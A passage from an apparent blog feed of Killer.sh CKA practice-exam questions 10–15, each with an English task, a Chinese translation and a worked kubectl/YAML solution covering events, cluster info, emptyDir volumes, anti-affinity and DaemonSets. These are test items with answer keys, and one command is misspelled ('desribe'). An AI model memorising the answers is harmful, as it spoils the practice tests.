        <content type="html"><![CDATA[<hr><p>Use context: <code>kubectl config use-context k8s-c2-AC</code></p><p>Write a command into <code>/opt/course/15/cluster_events.sh</code> which shows the latest events in the whole cluster, ordered by time ( <code>metadata.creationTimestamp</code> ). Use <code>kubectl</code> for it.</p><p>Now kill the kube-proxy Pod running on node cluster2-node1 and write the events this caused into <code>/opt/course/15/pod_kill.log</code> .</p><p>Finally kill the containerd container of the kube-proxy Pod on node cluster2-node1 and write the events into <code>/opt/course/15/container_kill.log</code> .</p><p>Do you notice differences in the events both actions caused?</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在 <code>/opt/course/15/cluster_events.sh</code> 中写一条命令，显示整个集群的最新事件，按时间（ <code>metadata.creationTimestamp</code> ）排序。使用 <code>kubectl</code> 来实现。</p><p>现在，杀死运行在 <code>cluster2-node1</code> 节点上的 <code>kube-proxy Pod</code>，并将其引起的事件写入 <code>/opt/course/15/pod_kill.log</code> 中。</p><p>最后，杀死 <code>cluster2-node1</code> 节点上的 <code>kube-proxy Pod</code>的 containerd 容器，并将事件写入 <code>/opt/course/15/container_kill.log</code> 中。</p><p>你是否注意到这两个动作引起的事件的不同？</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c2-AC</span><br></pre></td></tr></table></figure><p>sh 脚本</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;kubectl get events -A --sort-by=.metadata.creationTimestamp&quot;</span> &gt; /opt/course/15/cluster_events.sh</span><br></pre></td></tr></table></figure><p>查找proxy pod ,并kill node1上面的pod,然后检查日志</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n kube-system get pod -o wide | grep proxy</span><br><span class="line">k -n kube-system delete pod kube-proxy-</span><br><span class="line">sh /opt/course/15/cluster_events.sh &gt; /opt/course/15/pod_kill.log</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/2370928015adbcf192a87251b4b8a471b98d580cc2627059971032d8c983603e.jpg" alt="cluster-logs-0">  </p><p>连接到node1并结束掉proxy 容器</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster2-node1</span><br><span class="line">root@cluster2-node1:~# crictl ps | grep kube-proxy</span><br><span class="line">root@cluster2-node1:~# crictl stop 254ceb6e415ac</span><br><span class="line">root@cluster2-node1:~# crictl ps | grep kube-proxy</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/096419e29111ceb6c2fcdc6f2e8012d006d4f3df18c06b094fc562eea3c50f4f.jpg" alt="cluster-logs-1">  </p><p>写日志</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sh /opt/course/15/cluster_events.sh &gt; /opt/course/15/container_kill.log</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 14 | Find out Cluster Information</title>
      <link href="/archives/kubernetes/CKA/cluster-info.html"/>
      <url>/archives/kubernetes/CKA/cluster-info.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>You’re ask to find out following information about the cluster  <code>k8s-c1-H</code> :</p><p>How many controlplane nodes are available? How many worker nodes are available? What is the Service CIDR? Which Networking (or CNI Plugin) is configured and where is its config file? Which suffix will static pods have that run on cluster1-node1? Write your answers into file <code>/opt/course/14/cluster-info</code> , structured like this:</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line"># /opt/course/14/cluster-info</span><br><span class="line">1: [ANSWER]</span><br><span class="line">2: [ANSWER]</span><br><span class="line">3: [ANSWER]</span><br><span class="line">4: [ANSWER]</span><br><span class="line">5: [ANSWER]</span><br></pre></td></tr></table></figure><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>你被要求找出关于集群 <code>k8s-c1-H</code> 的以下信息。</p><ol><li>有多少个控制板节点可用？</li><li>有多少个工作节点可用？</li><li>服务的CIDR是什么？</li><li>哪个网络（或CNI插件）被配置了，其配置文件在哪里？</li><li>运行在cluster1-node1上的静态pod会有哪个后缀？</li></ol><p>把你的答案写进文件 <code>/opt/course/14/cluster-info</code> ，结构如下。</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line"># /opt/course/14/cluster-info</span><br><span class="line">1: [答案]</span><br><span class="line">2: [答案]</span><br><span class="line">3: [答案]</span><br><span class="line">4: [答案]</span><br><span class="line">5: [答案]</span><br></pre></td></tr></table></figure><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c1-H</span><br></pre></td></tr></table></figure><p>检查节点和控制节点可用数量</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get node</span><br><span class="line">k desribe node | grep -i taints</span><br></pre></td></tr></table></figure><p>查看集群CIDR 及CNI 插件位置</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-controlplane1</span><br><span class="line">root@cluster1-controlplane1:~# <span class="built_in">cat</span> /etc/kubernetes/manifests/kube-apiserver.yaml | grep range</span><br><span class="line">root@cluster1-controlplane1:~# find /etc/cni/net.d/</span><br><span class="line">root@cluster1-controlplane1:~# <span class="built_in">cat</span> /etc/cni/net.d/10-weave.conflist</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/615c71b7990b6795e9e1c9f32e857b8dbeed10659c557a2ba261f6c1e4f83239.jpg" alt="cluster-info-0">  </p><p><code>vim /opt/course/14/cluster-info</code></p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/14/cluster-info</span></span><br><span class="line"><span class="attr">1:</span> <span class="number">1</span></span><br><span class="line"><span class="attr">2:</span> <span class="number">2</span></span><br><span class="line"><span class="attr">3:</span> <span class="number">10.96</span><span class="number">.0</span><span class="number">.0</span><span class="string">/12</span></span><br><span class="line"><span class="attr">4:</span> <span class="string">Weave,</span> <span class="string">/etc/cni/net.d/10-weave.conflist</span></span><br><span class="line"><span class="attr">5:</span> <span class="string">-cluster1-node1</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 13 | Multi Containers and Pod shared Volume</title>
      <link href="/archives/kubernetes/CKA/emptyDir.html"/>
      <url>/archives/kubernetes/CKA/emptyDir.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 4%</p><p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>Create a Pod named <code>multi-container-playground</code> in Namespace <code>default</code> with three containers, named <code>c1</code> , <code>c2</code> and <code>c3</code> . There should be a volume attached to that Pod and mounted into every container, but the volume shouldn’t be persisted or shared with other Pods.</p><p>Container <code>c1</code> should be of image <code>nginx:1.17.6-alpine</code> and have the name of the node where its Pod is running available as environment variable MY_NODE_NAME.</p><p>Container <code>c2</code> should be of image <code>busybox:1.31.1</code> and write the output of the <code>date</code> command every second in the shared volume into file <code>date.log</code> . You can use <code>while true; do date &gt;&gt; /your/vol/path/date.log; sleep 1; done</code> for this.</p><p>Container <code>c3</code> should be of image <code>busybox:1.31.1</code> and constantly send the content of file <code>date.log</code> from the shared volume to stdout. You can use <code>tail -f /your/vol/path/date.log</code> for this.</p><p>Check the logs of container <code>c3</code> to confirm correct setup.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在Namespace default中创建一个名为 <code>multi-container-playground</code> 的Pod，有三个容器，分别名为 <code>c1</code> 、<code>c2</code> 和 <code>c3</code> 。应该有一个卷连接到该Pod并挂载到每个容器中，但该卷不应该被持久化或与其他Pod共享。</p><p>容器 <code>c1</code> 应该是 <code>nginx:1.17.6-alpine</code> 镜像，并且其Pod运行的节点名称可以作为环境变量 <code>MY_NODE_NAME</code> 。</p><p>容器 <code>c2</code> 应该是 <code>busybox:1.31.1</code> 镜像，并在共享卷中每秒钟将 <code>date</code> 命令的输出写入文件 <code>date.log</code> 中。你可以使用 <code>while true; do date &gt;&gt; /your/vol/path/date.log; sleep 1; done</code> 来实现这一点。</p><p>容器 <code>c3</code> 应该是 <code>busybox:1.31.1</code> 镜像 ，并不断地从共享卷中发送 <code>date.log</code> 文件的内容到stdout。你可以使用 <code>tail -f /your/vol/path/date.log</code> 来实现。</p><p>检查容器 <code>c3</code> 的日志以确认正确的设置。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c1-H</span><br></pre></td></tr></table></figure><p>创建一个pod模板</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k run multi-container-playground --image=nginx:1.17.6-alpine <span class="variable">$do</span> &gt; 13.yaml</span><br><span class="line"></span><br><span class="line">vim 13.yaml</span><br></pre></td></tr></table></figure><p>13.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 13.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">run:</span> <span class="string">multi-container-playground</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">multi-container-playground</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">nginx:1.17.6-alpine</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">c1</span>                                                                      <span class="comment"># change</span></span><br><span class="line">    <span class="attr">resources:</span> &#123;&#125;</span><br><span class="line">    <span class="attr">env:</span>                                                                          <span class="comment"># add</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">MY_NODE_NAME</span>                                                          <span class="comment"># add</span></span><br><span class="line">      <span class="attr">valueFrom:</span>                                                                  <span class="comment"># add</span></span><br><span class="line">        <span class="attr">fieldRef:</span>                                                                 <span class="comment"># add</span></span><br><span class="line">          <span class="attr">fieldPath:</span> <span class="string">spec.nodeName</span>                                                <span class="comment"># add</span></span><br><span class="line">    <span class="attr">volumeMounts:</span>                                                                 <span class="comment"># add</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">vol</span>                                                                   <span class="comment"># add</span></span><br><span class="line">      <span class="attr">mountPath:</span> <span class="string">/vol</span>                                                             <span class="comment"># add</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">busybox:1.31.1</span>                                                         <span class="comment"># add</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">c2</span>                                                                      <span class="comment"># add</span></span><br><span class="line">    <span class="attr">command:</span> [<span class="string">&quot;sh&quot;</span>, <span class="string">&quot;-c&quot;</span>, <span class="string">&quot;while true; do date &gt;&gt; /vol/date.log; sleep 1; done&quot;</span>]  <span class="comment"># add</span></span><br><span class="line">    <span class="attr">volumeMounts:</span>                                                                 <span class="comment"># add</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">vol</span>                                                                   <span class="comment"># add</span></span><br><span class="line">      <span class="attr">mountPath:</span> <span class="string">/vol</span>                                                             <span class="comment"># add</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">busybox:1.31.1</span>                                                         <span class="comment"># add</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">c3</span>                                                                      <span class="comment"># add</span></span><br><span class="line">    <span class="attr">command:</span> [<span class="string">&quot;sh&quot;</span>, <span class="string">&quot;-c&quot;</span>, <span class="string">&quot;tail -f /vol/date.log&quot;</span>]                                <span class="comment"># add</span></span><br><span class="line">    <span class="attr">volumeMounts:</span>                                                                 <span class="comment"># add</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">vol</span>                                                                   <span class="comment"># add</span></span><br><span class="line">      <span class="attr">mountPath:</span> <span class="string">/vol</span>                                                             <span class="comment"># add</span></span><br><span class="line">  <span class="attr">dnsPolicy:</span> <span class="string">ClusterFirst</span></span><br><span class="line">  <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br><span class="line">  <span class="attr">volumes:</span>                                                                        <span class="comment"># add</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">vol</span>                                                                   <span class="comment"># add</span></span><br><span class="line">      <span class="attr">emptyDir:</span> &#123;&#125;                                                                <span class="comment"># add</span></span><br><span class="line"><span class="attr">status:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 13.yaml create</span><br></pre></td></tr></table></figure><p>检查验证C1 env , c3 logs</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get pod multi-container-playground</span><br><span class="line">k <span class="built_in">exec</span> multi-container-playground -c c1 -- <span class="built_in">env</span> | grep MY</span><br><span class="line">k logs multi-container-playground -c c3</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/661739e7936bab6c589227168e4363656ffe71565d2a236f0f68ae0bb605d101.jpg" alt="emptyDir-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 12 | Deployment on all Nodes</title>
      <link href="/archives/kubernetes/CKA/Deployment-2.html"/>
      <url>/archives/kubernetes/CKA/Deployment-2.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>Use Namespace <code>project-tiger</code> for the following. Create a Deployment named <code>deploy-important</code> with label <code>id=very-important</code> (the <code>Pods</code> should also have this label) and 3 replicas. It should contain two containers, the first named <code>container1</code> with image <code>nginx:1.17.6-alpine</code> and the second one named <code>container2</code> with image <code>kubernetes/pause</code> .</p><p>There should be only ever <code>one</code> Pod of that Deployment running on <code>one</code> worker node. We have two worker nodes: <code>cluster1-node1</code> and <code>cluster1-node2</code> . Because the Deployment has three replicas the result should be that on both nodes <code>one</code> Pod is running. The third Pod won’t be scheduled, unless a new worker node will be added.</p><p>In a way we kind of simulate the behaviour of a DaemonSet here, but using a Deployment and a fixed number of replicas.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>使用命名空间 <code>project-tiger</code> 进行以下工作。</p><p>  创建一个名为<code>deploy-important</code> 的部署，标签  <code>id=very-important</code> （<code>Pod</code>也应该有这个标签）和3个副本。</p><p>  它应该包含两个容器，第一个名为<code>container1</code> ，镜像为 <code>nginx:1.17.6-alpine</code> ，第二个名为 <code>container2</code> ，镜像为 <code>kubernetes/pause</code> 。</p><p>在一个工作节点上应该只有 <code>一个</code> 部署的Pod在运行。我们有两个工作节点： <code>cluster1-node1</code>  和 <code>cluster1-node2</code> 。<br>因为该部署有三个副本，结果应该是两个节点上都有一个Pod在运行。第三个Pod不会被安排，除非有一个新的工作节点被添加。</p><p>在某种程度上，我们在这里模拟了DaemonSet的行为，但使用了一个部署和固定数量的副本</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>有两种方式，一种使用 <code>podAntiAffinity</code> ，一种使用 <code>topologySpreadConstraint</code></p><h5 id="PodAntiAffinity"><a href="#PodAntiAffinity" class="headerlink" title="PodAntiAffinity"></a>PodAntiAffinity</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-tiger create deployment \</span><br><span class="line">--image=nginx:1.17.6-alpine deploy-important <span class="variable">$do</span> &gt; 12.yaml</span><br><span class="line"></span><br><span class="line">vim 12.yaml</span><br></pre></td></tr></table></figure><p>12.vim</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 12.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">id:</span> <span class="string">very-important</span>                  <span class="comment"># change</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">deploy-important</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">project-tiger</span>              <span class="comment"># important</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">3</span>                           <span class="comment"># change</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">id:</span> <span class="string">very-important</span>                <span class="comment"># change</span></span><br><span class="line">  <span class="attr">strategy:</span> &#123;&#125;</span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">id:</span> <span class="string">very-important</span>              <span class="comment"># change</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">nginx:1.17.6-alpine</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">container1</span>                <span class="comment"># change</span></span><br><span class="line">        <span class="attr">resources:</span> &#123;&#125;</span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">kubernetes/pause</span>         <span class="comment"># add</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">container2</span>                <span class="comment"># add</span></span><br><span class="line">      <span class="attr">affinity:</span>                                             <span class="comment"># add</span></span><br><span class="line">        <span class="attr">podAntiAffinity:</span>                                    <span class="comment"># add</span></span><br><span class="line">          <span class="attr">requiredDuringSchedulingIgnoredDuringExecution:</span>   <span class="comment"># add</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">labelSelector:</span>                                  <span class="comment"># add</span></span><br><span class="line">              <span class="attr">matchExpressions:</span>                             <span class="comment"># add</span></span><br><span class="line">              <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">id</span>                                     <span class="comment"># add</span></span><br><span class="line">                <span class="attr">operator:</span> <span class="string">In</span>                                <span class="comment"># add</span></span><br><span class="line">                <span class="attr">values:</span>                                     <span class="comment"># add</span></span><br><span class="line">                <span class="bullet">-</span> <span class="string">very-important</span>                            <span class="comment"># add</span></span><br><span class="line">            <span class="attr">topologyKey:</span> <span class="string">kubernetes.io/hostname</span>             <span class="comment"># add</span></span><br><span class="line"><span class="attr">status:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><h5 id="TopologySpreadConstraints"><a href="#TopologySpreadConstraints" class="headerlink" title="TopologySpreadConstraints"></a>TopologySpreadConstraints</h5><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 12.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">id:</span> <span class="string">very-important</span>                  <span class="comment"># change</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">deploy-important</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">project-tiger</span>              <span class="comment"># important</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">3</span>                           <span class="comment"># change</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">id:</span> <span class="string">very-important</span>                <span class="comment"># change</span></span><br><span class="line">  <span class="attr">strategy:</span> &#123;&#125;</span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">id:</span> <span class="string">very-important</span>              <span class="comment"># change</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">nginx:1.17.6-alpine</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">container1</span>                <span class="comment"># change</span></span><br><span class="line">        <span class="attr">resources:</span> &#123;&#125;</span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">kubernetes/pause</span>         <span class="comment"># add</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">container2</span>                <span class="comment"># add</span></span><br><span class="line">      <span class="attr">topologySpreadConstraints:</span>                 <span class="comment"># add</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">maxSkew:</span> <span class="number">1</span>                               <span class="comment"># add</span></span><br><span class="line">        <span class="attr">topologyKey:</span> <span class="string">kubernetes.io/hostname</span>      <span class="comment"># add</span></span><br><span class="line">        <span class="attr">whenUnsatisfiable:</span> <span class="string">DoNotSchedule</span>         <span class="comment"># add</span></span><br><span class="line">        <span class="attr">labelSelector:</span>                           <span class="comment"># add</span></span><br><span class="line">          <span class="attr">matchLabels:</span>                           <span class="comment"># add</span></span><br><span class="line">            <span class="attr">id:</span> <span class="string">very-important</span>                   <span class="comment"># add</span></span><br><span class="line"><span class="attr">status:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>创建对应的deployment</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 12.yaml create</span><br></pre></td></tr></table></figure><p>我们检查部署状态，它显示2&#x2F;3的准备数量。其中有一个没有被调度</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-tiger get deploy -l <span class="built_in">id</span>=very-important</span><br><span class="line">k -n project-tiger get pod -o wide -l <span class="built_in">id</span>=very-important</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/6258500f1e7d831f51a67cd3a501c9a9e0334a9b4cc1922f34a656a194b07850.jpg" alt="Deployment-2-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 11 | DaemonSet on all Nodes</title>
      <link href="/archives/kubernetes/CKA/DaemonSet.html"/>
      <url>/archives/kubernetes/CKA/DaemonSet.html</url>
      
        <content type="html"><![CDATA[<hr><p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>Use Namespace <code>project-tiger</code> for the following. Create a DaemonSet named <code>ds-important</code> with image <code>httpd:2.4-alpine</code> and labels <code>id=ds-important</code> and  <code>uuid=18426a0b-5f59-4e10-923f-c0e078e82462</code> . The Pods it creates should request 10 millicore cpu and 10 mebibyte memory. The Pods of that DaemonSet should run on all nodes, also controlplanes.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在命名空间 <code>project-tiger</code> 进行如下操作。创建一个名为 <code>ds-important</code> 的 <code>DaemonSet</code> ，镜像为 <code>httpd:2.4-alpine</code> ，标签 <code>id=ds-important</code> ， <code>uuid=18426a0b-5f59-4e10-923f-c0e078e82462</code> 。它所创建的Pod应该要求 <code>10个毫核</code>cpu 和 <code>10个mebibyte</code>内存。该 DaemonSet 的 Pod 应该在所有的节点上运行，包括 控制平面 。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>通过创建 deployment 来创建 daemonset</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-tiger create deployment --image=httpd:2.4-alpine ds-important <span class="variable">$do</span> &gt; 11.yaml</span><br><span class="line"></span><br><span class="line">vim 11.yaml</span><br></pre></td></tr></table></figure><p>11.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 11.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">DaemonSet</span>                                     <span class="comment"># change from Deployment to Daemonset</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span>                                           <span class="comment"># add</span></span><br><span class="line">    <span class="attr">id:</span> <span class="string">ds-important</span>                                <span class="comment"># add</span></span><br><span class="line">    <span class="attr">uuid:</span> <span class="string">18426a0b-5f59-4e10-923f-c0e078e82462</span>      <span class="comment"># add</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ds-important</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">project-tiger</span>                          <span class="comment"># important</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="comment">#replicas: 1                                      # remove</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">id:</span> <span class="string">ds-important</span>                              <span class="comment"># add</span></span><br><span class="line">      <span class="attr">uuid:</span> <span class="string">18426a0b-5f59-4e10-923f-c0e078e82462</span>    <span class="comment"># add</span></span><br><span class="line">  <span class="comment">#strategy: &#123;&#125;                                     # remove</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">id:</span> <span class="string">ds-important</span>                            <span class="comment"># add</span></span><br><span class="line">        <span class="attr">uuid:</span> <span class="string">18426a0b-5f59-4e10-923f-c0e078e82462</span>  <span class="comment"># add</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">httpd:2.4-alpine</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">ds-important</span></span><br><span class="line">        <span class="attr">resources:</span></span><br><span class="line">          <span class="attr">requests:</span>                                 <span class="comment"># add</span></span><br><span class="line">            <span class="attr">cpu:</span> <span class="string">10m</span>                                <span class="comment"># add</span></span><br><span class="line">            <span class="attr">memory:</span> <span class="string">10Mi</span>                            <span class="comment"># add</span></span><br><span class="line">      <span class="attr">tolerations:</span>                                  <span class="comment"># add</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">effect:</span> <span class="string">NoSchedule</span>                          <span class="comment"># add</span></span><br><span class="line">        <span class="attr">key:</span> <span class="string">node-role.kubernetes.io/control-plane</span>  <span class="comment"># add</span></span><br><span class="line"><span class="comment">#status: &#123;&#125;                                         # remove</span></span><br></pre></td></tr></table></figure><p>应用文件创建pod,并检查状态</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 11.yaml create</span><br><span class="line">k -n project-tiger get ds</span><br><span class="line">k -n project-tiger get pod -l <span class="built_in">id</span>=ds-important -o wide</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/7582d8d5c2661cabc6fce2fe9380d1c941a0ac4e5ffa27680c54bab27bfc50db.jpg" alt="DaemonSet-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 10 | RBAC ServiceAccount Role RoleBinding</title>
      <link href="/archives/kubernetes/CKA/rbac-2.html"/>
      <url>/archives/kubernetes/CKA/rbac-2.html</url>
      
